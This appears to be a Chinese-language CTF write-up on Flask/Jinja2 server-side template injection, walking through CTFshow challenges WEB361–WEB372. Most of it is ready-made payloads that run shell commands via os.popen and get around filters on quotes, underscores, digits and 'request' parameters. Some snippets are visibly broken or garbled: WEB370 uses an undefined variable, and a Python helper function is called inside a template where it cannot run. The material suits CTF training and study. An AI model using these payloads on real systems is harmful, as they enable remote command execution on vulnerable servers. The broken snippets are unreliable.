当你在CTF比赛中遇到Flask框架的Web题目时,服务器端模板注入(SSTI)往往是获取flag的关键突破口。本文将以CTFshow靶场的WEB361-WEB372九道题目为例,带你从零开始构建完整的SSTI攻击链条,并针对每道题目的特殊过滤规则设计绕过方案。
Flask作为轻量级Python Web框架,默认使用Jinja2模板引擎。当用户输入未经严格过滤直接拼接到模板中时,就可能引发SSTI漏洞。理解以下核心概念是构造Payload的基础:
__class__、__bases__等属性可以遍历整个对象继承树__globals__:获取函数所在的全局命名空间__subclasses__():获取当前类的所有子类__builtins__:访问Python内置函数示例基础Payload结构:
python复制{{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('cmd').read() }}
常用过滤器在绕过时的妙用:
| 过滤器 | 功能 | SSTI利用场景 |
|---|---|---|
| attr() | 获取属性 | 替代点操作符 |
| join() | 拼接字符串 | 无引号构造 |
| string() | 转为字符串 | 获取对象字符串表示 |
| list() | 转为列表 | 配合pop/index访问字符 |
WEB361解题步骤:
name直接渲染python复制?name={{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
WEB362绕过技巧:
__builtins__:python复制?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
jinja2复制{% for i in ''.__class__.__mro__[1].__subclasses__() %}
{% if i.__name__=='_wrap_close' %}
{% print i.__init__.__globals__['popen']('ls').read() %}
{% endif %}
{% endfor %}
当题目过滤单双引号、中括号等关键字符时,可采用以下策略:
WEB363解决方案:
python复制?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}
jinja2复制{% set chr=url_for.__globals__.__builtins__.chr %}
{{ url_for.__globals__[chr(111)%2bchr(115)] }}
WEB365 Cookie传参方案:
python复制?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie: c=cat /flag
字符构造对照表:
| 需要字符 | 构造方式 |
|---|---|
| 'os' | chr(111)+chr(115) |
| '_' | (config|string|list).pop(74) |
| '/' | chr(47) |
当过滤下划线时,常规的__globals__访问失效,需采用:
WEB366 attr过滤器绕过:
python复制?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie: a=__globals__;b=cat /flag
WEB368 无插值表达式解法:
jinja2复制?a=__globals__&b=os&c=cat /flag&name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}
面对数字、request等全面过滤时,需要创造性字符生成:
WEB369 无下划线无数字解法:
jinja2复制{% set a=(()|select|string|list).pop(24) %}
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{% print (lipsum|attr(globals)).get('os').popen('cat /flag').read() %}
WEB370 无数字解决方案:
jinja2复制{% set one=(dict(c=1)|join|length) %}
{% set two=(dict(cc=1)|join|length) %}
{% set chr=().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__.chr %}
{{ chr(one~two~seven~two) }} # 构造'1272'等数字
高级技巧:全角数字绕过:
python复制# 半角数字转全角
def half2full(num):
return ''.join(chr(ord(c) + 0xFEE0) for c in str(num))
# 使用示例
{{ config.__class__.__init__.__globals__[half2full(111)+half2full(115)] }}
虽然我们探讨了多种攻击方式,但作为开发者更应关注防护措施:
输入过滤:
__、{{等危险字符沙箱环境:
python复制from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
在实战CTF比赛中,建议按照以下流程操作:
记住,真正的安全竞赛不仅要比拼攻击技巧,更要理解防御原理。通过这九道题目的实战训练,你应该已经掌握了SSTI漏洞从基础到高级的完整知识体系。下次遇到Flask题目时,不妨先尝试构造一个简单的{{7*7}},或许flag就在眼前。